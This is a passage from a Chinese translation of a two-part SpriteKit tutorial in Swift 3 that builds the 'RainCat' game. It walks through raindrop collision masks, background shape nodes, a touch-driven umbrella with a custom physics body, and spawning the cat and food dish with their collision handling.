== RainDropCategory) { contact.bodyA.node?.physicsBody?.collisionBitMask = 0 contact.bodyA.node?.physicsBody?.categoryBitMask = 0 } else if (contact.bodyB.categoryBitMask == RainDropCategory) { contact.bodyB.node?.physicsBody?.collisionBitMask = 0 contact.bodyB.node?.physicsBody?.categoryBitMask = 0 } } ``` 现在,当一滴雨滴和任何其它对象的边缘发生碰撞后,我们会将其碰撞掩码( collision bitmask )清零。这样做可以避免雨滴在初次碰撞后反复与其它对象碰撞,最终变成像俄罗斯方块那样的噩梦! [![弹跳的雨滴](https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif)[\[21\]](#note-21) 愉快蹦达着的小雨滴 如果雨滴的表现没有像 GIF 图中所展示的那样,回头确认所有的 `categoryBitMask` 和 `contactTestBitMasks` 都被正确设置了。同时,你应该注意到场景右下角的结点数目会持续增长。雨滴不会再堆积在地面上了,但它们也没有从场景中移除。如果我们不做移除工作,内存依然会出现不足的情况。 在 `didBegin(_ contact:)` 方法中,我们需要加入销毁操作来移除这些结点。该方法需要被修改成这样: ``` func didBegin(_ contact: SKPhysicsContact) { if (contact.bodyA.categoryBitMask == RainDropCategory) { contact.bodyA.node?.physicsBody?.collisionBitMask = 0 contact.bodyA.node?.physicsBody?.categoryBitMask = 0 } else if (contact.bodyB.categoryBitMask == RainDropCategory) { contact.bodyB.node?.physicsBody?.collisionBitMask = 0 contact.bodyB.node?.physicsBody?.categoryBitMask = 0 } if contact.bodyA.categoryBitMask == WorldCategory { contact.bodyB.node?.removeFromParent() contact.bodyB.node?.physicsBody = nil contact.bodyB.node?.removeAllActions() } else if contact.bodyB.categoryBitMask == WorldCategory { contact.bodyA.node?.removeFromParent() contact.bodyA.node?.physicsBody = nil contact.bodyA.node?.removeAllActions() } } ``` 现在,运行程序,我们会看到结点计数器增长到 6 个结点左右之后便会维持在那个数字。如果确实如此,那就证明我们成功的移除了那些离开屏幕的结点了。 ### 更新背景结点 目前为止,背景结点都非常的简单。它只是一个 `SKPhysicsBody` ,也就是一条线。我们要对它进行升级来让我们的应用看起来更棒。放在以前,我们会用一个 `SKSpriteNode` 来实现这个需求,但这意味着要为一个简单背景耗费一块巨大的纹理。由于背景仅仅由两种颜色组成,我们可以通过创建两个 `SKShapeNode` 来达到天空和地面的效果。 打开 `BackgroundNode.swift` 并在 `setup(size)` 方法中,初始化 `SKPhysicsBody` 的下面添加如下代码: ``` let skyNode = SKShapeNode(rect: CGRect(origin: CGPoint(), size: size)) skyNode.fillColor = SKColor(red:0.38, green:0.60, blue:0.65, alpha:1.0) skyNode.strokeColor = SKColor.clear skyNode.zPosition = 0 let groundSize = CGSize(width: size.width, height: size.height * 0.35) let groundNode = SKShapeNode(rect: CGRect(origin: CGPoint(), size: groundSize)) groundNode.fillColor = SKColor(red:0.99, green:0.92, blue:0.55, alpha:1.0) groundNode.strokeColor = SKColor.clear groundNode.zPosition = 1 addChild(skyNode) addChild(groundNode) ``` 在上述代码中,我们创建了两个矩形的 `SKShapeNode` 实例,但引入 `zPosition` 导致了一个新问题。我们将 `skyNode` 的 `zPosition` 设为 `0` ,而地面结点设置为 `1`,如此一来,在渲染时地面就会始终在天空之上。如果你现在运行程序,你会发现,雨滴会被渲染在天空之上,但却在地面之下。这显然不是我们想要的。让我们回到 `GameScene.swift` 中,更新 `spawnRaindrop()` 方法中雨滴的 `zPosition` ,使之在被渲染在地面之上。在 `spawnRaindrop()` 方法中,设置雨滴出现位置的下方,加入下列代码: ``` raindrop.zPosition = 2 ``` 再次运行程序,背景应该能够被正常绘制了。 [![背景](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png)[\[22\]](#note-22) 这下就好多了。 ### 添加交互 现在对雨滴和背景的设置都已经完成了,我们可以开始添加交互了。在 “Sprites” 文件夹下添加 `UmbrellaSprite.swift` 源文件,并添加下列代码以生成雨伞的雏形。 ``` import SpriteKit public class UmbrellaSprite : SKSpriteNode { public static func newInstance() -> UmbrellaSprite { let umbrella = UmbrellaSprite(imageNamed: "umbrella") return umbrella } } ``` 一个非常基础的对象就能满足创建雨伞的要求了。目前,我们只是使用一个静态方法创建了一个新的精灵结点( sprite node ),但别急,一会我们就会为其添加一个自定的物理实体了。我们可以像创建雨滴一样,调用 `init(texture: size:)` 方法来用纹理创建一个物理实体。这样做也是可以的,但是雨伞的把手就会被物理实体所环绕。如果把手被物理实体环绕,那么猫就可能被挂在伞上,这个游戏也就因此失去了许多乐趣。所以,我们会转而通过在 `newInstance()` 方法中构造一个 `CGPath` 来初始化 `SKPhysicsBody` 。将下列代码添加到 `UmbrellaSprite.swift` 的 `newInstance()` 方法中,返回雨伞对象的语句之前。 ``` let path = UIBezierPath() path.move(to: CGPoint()) path.addLine(to: CGPoint(x: -umbrella.size.width / 2 - 30, y: 0)) path.addLine(to: CGPoint(x: 0, y: umbrella.size.height / 2)) path.addLine(to: CGPoint(x: umbrella.size.width / 2 + 30, y: 0)) umbrella.physicsBody = SKPhysicsBody(polygonFrom: path.cgPath) umbrella.physicsBody?.isDynamic = false umbrella.physicsBody?.restitution = 0.9 ``` 我们自己创建路径来初始化雨伞的 `SKPhysicsBody` 主要有两个原因。首先,就像之前提到的一样,我们只希望雨伞的顶部能够与其它对象碰撞。其次,这样我们可以自行调控雨伞的有效撞击区域。 先创建一个 `UIBezierPath` 并添加点和线绘制好图形后,再通过它生成 `CGPath` 是一个相对简单的方法。上述代码中,我们就创建了一个 `UIBezierPath` 并将其绘制起点移动到精灵的中心点。`umbrellaSprite` 的中心点是 `0,0` 的原因是:其 [`anchorPoint`](https://developer.apple.com/reference/spritekit/skspritenode#//apple_ref/occ/instp/SKSpriteNode/anchorPoint)[\[23\]](#note-23) 的值为 `0.5,0.5` 。接着,我们向左侧添加一条线,并向外延伸 30 个点( points )。 本文中关于“点( point )”的概念的注解:一个“点”,不要与 `CGPoint` 或是我们的 `anchorPoint` 混淆,它是一个测量单位。在非 Retina 设备上,一个点等于一个像素,在 Retina 设备上则等于两个像素,这个值会随着屏幕分辨率的提高而增加。更多相关知识,请参阅 Fluid 博客中的 [pixels and points](http://blog.fluidui.com/designing-for-mobile-101-pixels-points-and-resolutions/)[\[24\]](#note-24) 。 随后,我们一路画到精灵的顶部中点位置,再画到中部右侧,并向外延伸 30 个点。我们向外延伸一些距离,是为了在保持精灵外观的前提下,增大其能遮雨的区域。当我们用这个多边形初始化 `SKPhysicsBody` 时,路径将会自动闭合成一个完整的三角形。接着,将雨伞的物理状态设置为非动态,这样它就不会受重力影响了。我们绘制的这个物理实体看起来是这样的: [![雨伞特写](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png)[\[25\]](#note-25) 雨伞物理实体的特写([放大版本](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png)[\[26\]](#note-26)) 现在,到 `GameScene.swift` 中来初始化雨伞对象并将其加入场景中。在文件顶部,类变量的下方,加入下面的代码: ``` private let umbrellaNode = UmbrellaSprite.newInstance() ``` 接着,在 `sceneDidLoad()` 中,将 `backgroundNode` 加入场景的下面,加入如下代码来将雨伞放置在屏幕中央: ``` umbrellaNode.position = CGPoint(x: frame.midX, y: frame.midY) umbrellaNode.zPosition = 4 addChild(umbrellaNode) ``` 完成上述操作后,再运行程序,你就能看见雨伞了,同时你还会发现雨滴将会被雨伞弹开! ### 动起来 我们要为雨伞添加手势响应了。聚焦到 `GameScene.swift` 中的空方法 `touchesBegan(_ touches:, with event:)` 和 `touchesMoved(_ touches:, with event:)` 。这两个方法会把我们的交互操作传递给雨伞对象。如果我们在两个方法中都直接根据当前的触摸来更新雨伞的位置,雨伞将会从屏幕的一个位置瞬间移动到另一位置。 另一个可行方法是,实时设置 `UmbrellaSprite` 对象的终点,并且在 `update(dt:)` 方法被调用时,逐步向终点方向移动。 而第三个可选方案则是在 `touchesBegan(_ touches:, with event:)` 或 `touchesMoved(_ touches:, with event:)` 中通过设置一系列 `SKAction` 来移动 `UmbrellaSprite` ,但我不推荐这么做。这样做会导致 `SKAction` 对象被频繁创建和销毁,使得性能变差。 我们这里选择第二个解决方案。将 `UmbrellaSprite` 的代码改成下面这样: ``` import SpriteKit public class UmbrellaSprite : SKSpriteNode { private var destination : CGPoint! private let easing : CGFloat = 0.1 public static func newInstance() -> UmbrellaSprite { let umbrella = UmbrellaSprite(imageNamed: "umbrella") let path = UIBezierPath() path.move(to: CGPoint()) path.addLine(to: CGPoint(x: -umbrella.size.width / 2 - 30, y: 0)) path.addLine(to: CGPoint(x: 0, y: umbrella.size.height / 2)) path.addLine(to: CGPoint(x: umbrella.size.width / 2 + 30, y: 0)) umbrella.physicsBody = SKPhysicsBody(polygonFrom: path.cgPath) umbrella.physicsBody?.isDynamic = false umbrella.physicsBody?.restitution = 0.9 return umbrella } public func updatePosition(point : CGPoint) { position = point destination = point } public func setDestination(destination : CGPoint) { self.destination = destination } public func update(deltaTime : TimeInterval) { let distance = sqrt(pow((destination.x - position.x), 2) + pow((destination.y - position.y), 2)) if(distance > 1) { let directionX = (destination.x - position.x) let directionY = (destination.y - position.y) position.x += directionX * easing position.y += directionY * easing } else { position = destination; } } } ``` 这里主要干了这么几件事。`newInstance()` 方法保持不变,但我们在它的上方加入了两个变量。我们加入了 destination 变量(保存对象移动的终点位置);我们加入了 `setDestination(destination:)` 方法来缓冲雨伞的移动;我们还加入了一个 `updatePosition(point:)` 方法。 `updatePosition(point:)` 方法将会在我们进行刷新操作之前直接对 `position` 属性进行赋值(译者注:此处的意思是,雨伞的移动本应是设置终点后,在 `update(dt:)` 方法中逐步移动,但这个 `updatePosition(point:)` 方法将直接移动雨伞)。现在我们可以同时更新 position 和 destination 了。如此一来, `umbrellaSprite` 对象就会被移动到相应位置,并保持在原地,由于这个位置就是它的终点,它也不会在设置位置后立刻移动了。 `setDestination(destination:)` 方法仅更新 destination 属性的值;我们会在后续对这个值进行一系列运算。最终,我们在 `update(dt:)` 方法中添加了计算我们所需要向终点方向移动多少距离的逻辑。我们计算两点之间的距离,如果距离大于一个点,我们就结合 `easing` 属性来计算移动的距离(译者注:原文写的是 `easing` function ,但实际代码中 `easing` 只是一个 factor 属性)。在计算出对象需要移动的方向和距离后, `easing` 属性将每个坐标轴上所需移动的距离乘以 10% ,作为实际移动距离。这样做的话,雨伞就不会瞬间到达新的位置了,当雨伞离目标位置较远时,其移动速度会较快,而当它接近终点附近,它的速度便会逐渐减低。如果距离终点距离不足一个点,我们就直接移动到终点。我们这样做是因为缓冲机制(easing function)的存在会使终点附近的移动非常缓慢。不用反复地计算、更新并每次将雨伞移动一小段距离,我们只需要简单地设置好终点位置就可以了。 回到 `GameScene.swift` 中,将 `touchesBegan(_ touches: with event:)` 和 `touchesMoved(_ touches: with event:)` 中的逻辑做如下修改: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { let touchPoint = touches.first?.location(in: self) if let point = touchPoint { umbrellaNode.setDestination(destination: point) } } override func touchesMoved(_ touches: Set, with event: UIEvent?) { let touchPoint = touches.first?.location(in: self) if let point = touchPoint { umbrellaNode.setDestination(destination: point) } } ``` 现在,我们的雨伞就能响应触摸事件了。在每个方法中,我们都检测触摸是否有效。有效的话,我们就将雨伞的终点更新为触摸的位置。接下来,把 `sceneDidLoad()` 中的这行代码: ``` umbrella.position = CGPoint(x: frame.midX, y: frame.midY) ``` 修改成: ``` umbrellaNode.updatePosition(point: CGPoint(x: frame.midX, y: frame.midY)) ``` 这样,雨伞的初始位置和终点就设置好了。当我们运行程序,场景中的雨伞仅会在我们进行手势交互时才会移动。最后,我们要在 `update(currentTime:)` 中通知雨伞进行更新。 在 `update(currentTime:)` 的底部加入如下代码: ``` umbrellaNode.update(deltaTime: dt) ``` 再次运行程序,雨伞应该能够正确地跟着点击和拖动手势进行移动了。 嘿,第一课到此结束啦!我们接触到了许多概念,并自己动手搭建了基础代码,接着又添加了一个容器结点来容纳背景和地面的 `SKPhysicsBody` 。我们还成功使新的雨滴定时出现,并让雨伞响应我们的手势。你可以在 [GitHub上找到](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one)[\[27\]](#note-27) 第一课内容所涉及的源代码。 你完成的怎么样?你的代码实现是否和我的示例几乎一样?哪里有不同呢?你是否优化了示例代码?教程中是否有阐述不清晰的地方?请在评论中写下你的想法。 感谢你坚持完成了第一课。让我们拭目以待 RainCat 第二课吧! #### 注释 1. https://developer.apple.com/spritekit/ 2. https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png 3. https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&mt=8 4. https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-initial-code 5. https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/Lesson4.html 6. https://developer.apple.com/reference/spritekit/skscene 7. https://www.raywenderlich.com/118225/introduction-sprite-kit-scene-editor 8. https://github.com/thirteen23/RainCat/tree/smashing-day-1/dayOneAssets.zip 9. https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png 10. https://developer.apple.com/reference/spritekit/sknode 11. https://developer.apple.com/reference/spritekit/skphysicsbody 12. https://developer.apple.com/reference/spritekit/skphysicsworld 13. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png 14. https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif 15. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png 16. http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Companion/cxx_crib/shift.html 17. https://developer.apple.com/reference/spritekit/skphysicsbody/1519869-categorybitmask 18. https://en.wikipedia.org/wiki/Mask_%28computing%29 19. https://en.wikipedia.org/wiki/Bitwise_operation 20. https://developer.apple.com/reference/spritekit/skphysicsworld 21. https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif 22. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png 23. https://developer.apple.com/reference/spritekit/skspritenode#//apple_ref/occ/instp/SKSpriteNode/anchorPoint 24. http://blog.fluidui.com/designing-for-mobile-101-pixels-points-and-resolutions/ 25. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png 26. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png 27. https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one ================================================ FILE: TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md ================================================ > * 原文地址:[ How To Build A SpriteKit Game In Swift 3 (Part 2) ](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-2/ ) * 原文作者:[ Marc Vandehey ]( https://www.smashingmagazine.com/author/marcvandehey/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[ZiXYu](https://github.com/ZiXYu) * 校对者:[DeepMissea](https://github.com/DeepMissea), [Tuccuay](https://github.com/Tuccuay) ## [ 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 2)](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-2/) ## 你是否想过如何来开发一款 [SpriteKit](https://developer.apple.com/spritekit/)[\[1\]](#note-1) 游戏?实现碰撞检测会是个令人生畏的任务吗?你想知道如何正确的处理音效和背景音乐吗?随着 SpriteKit 的发布,在 iOS 上的游戏开发已经变得空前简单了。在本系列三部中的第二部分中,我们将继续探索 SpriteKit 的基础知识。 如果你错过了 [之前的课程](https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/)[\[2\]](#note-2),你可以通过获取 [ GitHub 上的代码](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one)[\[3\]](#note-3) 来赶上进度。请记住,本教程需要使用 Xcode 8 和 Swift 3。 [![Raincat: 第二课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png)[\[4\]](#note-4) RainCat, 第二课 在 [上一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md)[\[5\]](#note-5) 中,我们创建了地板和背景,随机生成了雨滴并添加了雨伞。这把雨伞的精灵(译者注:sprite,中文译名精灵,在游戏开发中,精灵指的是以图像方式呈现在屏幕上的一个图像)中存在一个自定义的 `SKPhysicsBody`,是通过 `CGPath` 来生成的,同时我们启用了触摸检测,因此我们可以在屏幕范围内移动它。而且我们通过 `categoryBitMask` 和 `contactTestBitMask` 来实现了碰撞检测。我们在雨滴落到任何物体上时消除了碰撞,因此它们不会堆积起来,而是会在一次弹跳后穿过地板。最后,我们设置了一个世界边框来移除所有和它接触的 `SKNode`。 本文中,我们将重点实现以下几点: - 生成猫 - 实现猫的碰撞 - 生成食物 - 实现食物的碰撞 - 使猫向食物移动 - 创建猫的动画 - 当猫接触雨滴时,使猫受到伤害 - 添加音效和背景音乐 ### 获取资源 你可以从 [GitHub](https://github.com/thirteen23/RainCat/blob/smashing-day-2/dayTwoAssets.zip)[\[6\]](#note-6) (ZIP) 上获取本课所需要的资源。下载图片后,通过一次性拖拽所有图片将它们添加到你的 `Assets.xcassets` 文件中。你现在应该有了包含猫动画和宠物碗的资源文件。我们之后将会添加音效和背景音乐文件。 [![App 资源](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png)[\[7\]](#note-7) 一大堆资源! ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png))[\[8\]](#note-8) ### 猫猫时间! 我们从添加游戏主角开始本期课程。我们首先在 “Sprites” 组下创建一个新文件,命名为 `CatSprite`。 将如下代码添加到 `CatSprite.swift` 文件中: ``` import SpriteKit public class CatSprite : SKSpriteNode { public static func newInstance() -> CatSprite { let catSprite = CatSprite(imageNamed: "cat_one") catSprite.zPosition = 5 catSprite.physicsBody = SKPhysicsBody(circleOfRadius: catSprite.size.width / 2) return catSprite } public func update(deltaTime : TimeInterval) { } } ``` 在这个文件中,我们用了一个会返回猫精灵的静态初始化函数。在另一个 `update` 函数中,我们也使用了同样的方法。如果我们需要生成更多的精灵,我们应该尝试把这个函数变成一个 [协议](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html)[\[9\]](#note-9) 的一部分来生成合适的精灵。这里需要注意一点,对于猫精灵,我们使用的是一个圆形的 `SKPhysicsBody`。就像我们创建雨滴一样,我们当然可以使用纹理来创建猫的物理实体,但是这是一个有“美感”的决定。当猫被雨滴或雨伞碰到时, 与其让猫始终坐着,让猫在地上打滚显然更有趣一些。 当猫接触雨滴或猫掉出该世界时,我们将需要回调函数来处理这些事件。我们可以打开 `Constants.swift` 文件,将下列代码加入该文件,使它作为一个 `CatCategory`: ``` let CatCategory : UInt32 = 0x1 << 4 ``` 上面代码中定义的变量将决定猫的身体是哪个 `SKPhysicsBody`。让我们重新打开 `CatSprite.swift` 来更新猫精灵的状态,使它包含 `categoryBitMask` 和 `contactTestBitMask` 这两个属性。 在 `newInstance()` 返回 `catSprite` 之前,我们需要添加如下代码: ``` catSprite.physicsBody?.categoryBitMask = CatCategory catSprite.physicsBody?.contactTestBitMask = RainDropCategory | WorldCategory ``` 现在,当猫被雨滴击中或者当猫跌出世界时,我们将会得到一个回调。在添加了如上代码后,我们需要将猫添加到场景中。 在 `GameScene.swift` 文件的顶部, 初始化了 `umbrellaSprite` 之后, 我们需要添加如下代码: ``` private var catNode : CatSprite! ``` 我们可以立刻在 `sceneDidLoad()` 里创建一只猫,但是我们更想要从一个单独的函数中来创建猫对象,以便于代码重用。`!` 告诉编译器,它并不需要在 `init` 语句中立即初始化,而且它应该不会是 `nil`。我们这么做有两个理由。首先,我们不想单独为了一个变量创建 `init()` 语句。其次,我们并不想立刻初始化猫精灵,只要在我们第一次运行 `spawnCat()` 时重新初始化和定位它就可以了。我们也可以用 `?` 来定义该变量,但是当我们第一次运行了 `spawnCat()` 函数后,我们的猫精灵就再也不会变成 `nil` 了。为了解决初始化问题和让我们头疼的拆包,我们会说使用感叹号来进行自动拆包是安全的操作。如果我们在初始化我们的猫对象前就使用了它,我们的应用就会闪退,因为我们告诉应用对猫对象进行拆包是安全的,然而它还没有初始化。在我们使用它之前,需要先在合适的函数中将它初始化 接下来,我们将要在 `GameScene.swift` 文件中新建一个 `spawnCat()` 函数来初始化我们的猫精灵。我们会把这个初始化的部分拆分到一个单独的函数中,使这部分代码具有重用性,同时保证在场景里每次只有一只猫。 在这个文件中接近底部的地方,`spawnRaindrop()` 函数后面添加如下代码: ``` func spawnCat() { if let currentCat = catNode, children.contains(currentCat) { catNode.removeFromParent() catNode.removeAllActions() catNode.physicsBody = nil } catNode = CatSprite.newInstance() catNode.position = CGPoint(x: umbrellaNode.position.x, y: umbrellaNode.position.y - 30) addChild(catNode) } ``` 纵观这段函数,我们首先检查了猫对象是否为空。然后,我们检查了这个场景中是否已经存在了一个猫对象。如果这个场景内已经存在了一只小猫,我们就要从父类中移除它,移除它现在正在进行的所有操作,并清除这个猫对象的 `SKPhysicsBody`。而这些操作仅仅会在猫掉出该世界时被触发。在这之后,我们会重新初始化一个新的猫对象,同时设定它的初始位置为伞下 30 像素的地方。其实我们可以在任何位置初始化我们的猫对象,但是我想这个位置总比直接从天空中把猫丢下来好一些。 最后,在 `sceneDidLoad()` 函数中,在我们定位并添加了雨伞之后,调用 `spawnCat()` 函数: ``` umbrellaNode.zPosition = 4 addChild(umbrellaNode) spawnCat() ``` 现在我们可以运行我们的应用啦! [![应用资源](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png)[\[10\]](#note-10) 猫 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png))[\[11\]](#note-11) 如果现在猫碰到雨滴或是雨伞,它将会在地上打滚。这时候,猫可能会滚出屏幕然后在接触世界边框的一瞬间被删除掉,那么,我们就需要重新生成猫对象了。因为现在回调函数会在当猫接触到雨滴时或猫掉出世界时被触发,所以我们可以在 `didBegin(_ contact:)` 函数中来处理这个碰撞事件。 我们想要在猫触碰到雨滴后和触碰世界边框后触发不同的事件,所以我们把这些逻辑拆分到了一个新的函数中。在 `GameScene.swift` 文件的底部, `didBegin(_ contact:)` 函数的后面,加上如下代码: ``` func handleCatCollision(contact: SKPhysicsContact) { var otherBody : SKPhysicsBody if contact.bodyA.categoryBitMask == CatCategory { otherBody = contact.bodyB } else { otherBody = contact.bodyA } switch otherBody.categoryBitMask { case RainDropCategory: print("rain hit the cat") case WorldCategory: spawnCat() default: print("Something hit the cat") } } ``` 在这段代码中,我们在寻找除了猫以外的物理实体(physics body)。在我们发现其他实体对象时,我们就需要判断是什么触碰了猫。现在,如果是雨滴在猫身上,我们只在控制台中输出这个碰撞发生了,而如果是猫触碰了这个游戏世界的边缘,我们就会重新生成一个猫对象。 如果(什么东西)与猫对象发生接触,我们就调用这个函数。时那么,让我们用如下代码来更新 `didBegin(_ contact:)` 函数: ``` func didBegin(_ contact: SKPhysicsContact) { if (contact.bodyA.categoryBitMask == RainDropCategory) { contact.bodyA.node?.physicsBody?.collisionBitMask = 0 } else if (contact.bodyB.categoryBitMask == RainDropCategory) { contact.bodyB.node?.physicsBody?.collisionBitMask = 0 } if contact.bodyA.categoryBitMask == CatCategory || contact.bodyB.categoryBitMask == CatCategory { handleCatCollision(contact: contact) return } if contact.bodyA.categoryBitMask == WorldCategory { contact.bodyB.node?.removeFromParent() contact.bodyB.node?.physicsBody = nil contact.bodyB.node?.removeAllActions() } else if contact.bodyB.categoryBitMask == WorldCategory { contact.bodyA.node?.removeFromParent() contact.bodyA.node?.physicsBody = nil contact.bodyA.node?.removeAllActions() } } ``` 我们在移除雨滴碰撞和移除离屏节点中间插入了一个条件判断。这个 `if` 语句判断了碰撞物体是不是猫,然后我们在 `handleCatCollision(contact:)` 函数中处理猫的行为。 我们现在可以用雨伞把猫推出屏幕来测试猫的重生函数了。我们会看到,猫将在伞下重新被定义出来。请注意,如果雨伞的底部低于地板,那么猫就会一直从屏幕中掉出去。到现在为止这并不是什么大问题,但是我们之后会提供一个方法来解决它。 ### 生成食物 现在看来,是时候生成一些食物来喂我们的小猫了。当然了,现在猫并不能自己移动,不过我们一会可以修复这个问题。在创建食物精灵之前,我们可以先在 `Constants.swift` 文件中为食物新建一个类。让我们在 `CatCategory` 中添加如下代码: ``` let FoodCategory : UInt32 = 0x1 << 5 ``` 上面代码中定义的变量将决定食物的物理对象是哪个 `SKPhysicsBody`。在“Sprites”组中,我们用创建 `CatSprite.swift` 文件同样的方法新建一个名为 `FoodSprite.swift` 的文件,并在该文件中添加如下代码: ``` import SpriteKit public class FoodSprite : SKSpriteNode { public static func newInstance() -> FoodSprite { let foodDish = FoodSprite(imageNamed: "food_dish") foodDish.physicsBody = SKPhysicsBody(rectangleOf: foodDish.size) foodDish.physicsBody?.categoryBitMask = FoodCategory foodDish.physicsBody?.contactTestBitMask = WorldCategory | RainDropCategory | CatCategory foodDish.zPosition = 5 return foodDish } } ``` 这是一个静态的函数,当它被调用时,将会初始化一个 `FoodSprite` 并且返回它。我们把食物的物理实体设置为一个和食物精灵同样大小的矩形。因为食物精灵本身就是一个矩形。接下来,我们把物理对象的种类设置为我们刚刚创建的 `FoodCategory` ,然后把它添加到它可能会碰撞的对象(世界边框,雨滴和猫)中。我们把食物和猫的 `zPosition` 设置成相同的,这样它们将永远不会重叠,因为当它们相遇时,食物就会被删除然后玩家将会得到一分。 重新打开 `GameScene.swift` 文件,我们需要添加一些功能来生成和移除食物。在这个文件的顶部,`rainDropSpawnRate` 变量的下面,我们添加如下代码: ``` private let foodEdgeMargin : CGFloat = 75.0 ``` 这个变量将会作为生成食物时的外边距。我们不想将食物生成在离屏幕两侧特别近的位置。我们把这个值定义在文件的顶部,这样如果我们之后要改变这个值的时候就不用搜索整个文档了。接下来,在我们的 `spawnCat()` 函数下面,我们可以新增我们的 `spawnFood` 函数了。 ``` func spawnFood() { let food = FoodSprite.newInstance() var randomPosition : CGFloat = CGFloat(arc4random()) randomPosition = randomPosition.truncatingRemainder(dividingBy: size.width - foodEdgeMargin * 2) randomPosition += foodEdgeMargin food.position = CGPoint(x: randomPosition, y: size.height) addChild(food) } ``` 这个函数和我们的 `spawnRaindrop()` 函数几乎一模一样。我们新建了一个 `FoodSprite`,然后把它放在了屏幕上一个随机的位置 `x`。这里我们用了之前设定的外边距(margin)变量来限制了能够生成食物精灵的屏幕范围。首先,我们设置了随机位置的范围为屏幕的宽度减去 2 乘以外边距。然后,我们用外边距来偏移起始位置。这使得食物不会生成在任意距屏幕边界 0 到 75 的位置里。 在 `sceneDidLoad()` 文件接近顶部的位置,让我们在 `spawnCat()` 函数的初始化调用下面加上如下代码: ``` spawnCat() spawnFood() ``` 现在当场景加载时,我们会生成一把雨伞,雨伞下面有一只猫,还有一些从天上掉下来的雨滴和食物。现在雨滴可以和猫(译者注:原文写的是 food,百分百是写错了)互动,让它来回滚动了。对食物来说,它跟雨滴碰到雨伞和地板一样,反弹一次然后失去所有的碰撞属性,直到触碰到世界边界后被删除。我们也同样需要添加一些食物和猫的互动。 在 `GameScene.swift` 文件的底部,我们将添加所有有关于食物碰撞的代码。让我们在 `handleCatCollision()` 函数后添加如下代码: ``` func handleFoodHit(contact: SKPhysicsContact) { var otherBody : SKPhysicsBody var foodBody : SKPhysicsBody if(contact.bodyA.categoryBitMask == FoodCategory) { otherBody = contact.bodyB foodBody = contact.bodyA } else { otherBody = contact.bodyA foodBody = contact.bodyB } switch otherBody.categoryBitMask { case CatCategory: //TODO increment points print("fed cat") fallthrough case WorldCategory: foodBody.node?.removeFromParent() foodBody.node?.physicsBody = nil spawnFood() default: print("something else touched the food") } } ``` 在这个函数中,我们将用和处理猫碰撞同样的方式来处理食物碰撞。首先,我们定义了食物的物理实体,然后我们用了一个 `switch` 语句来判断除食物之外的物理实体。接着,我们添加了一个 `CatCategory` 条件分支 - 这是个预留的接口,我们之后可以添加代码来更新游戏分数。接下来我们 `fallthrough` 到 `WorldFrameCategory` 分支语句,这里我们需要从场景里移除食物精灵和它的物理实体。最后,我们需要重新生成食物。总而言之,当食物触碰到了世界边界,我们只需要移除食物精灵和它的物理实体。如果食物触碰到了其它物理实体,那么 default 分支语句就会被触发然后在控制台打印一个通用语句。现在,唯一能触发这个语句的物理实体就是 `RainDropCategory`。而到现在为止,我们并不关心当雨击中食物时会发生什么。我们只希望雨滴和食物在击中地板或雨伞时有同样的表现。 为了让所有部分连接起来,我们将在 `didBegin(_ contact)` 函数中添加几行代码。在判断 `CatCategory` 之前添加如下代码: ``` if contact.bodyA.categoryBitMask == FoodCategory || contact.bodyB.categoryBitMask == FoodCategory { handleFoodHit(contact: contact) return } ``` `didBegin(_ contact)` 最后应该看起来像这样: ``` func didBegin(_ contact: SKPhysicsContact) { if (contact.bodyA.categoryBitMask == RainDropCategory) { contact.bodyA.node?.physicsBody?.collisionBitMask = 0 } else if (contact.bodyB.categoryBitMask == RainDropCategory) { contact.bodyB.node?.physicsBody?.collisionBitMask = 0 } if contact.bodyA.categoryBitMask == 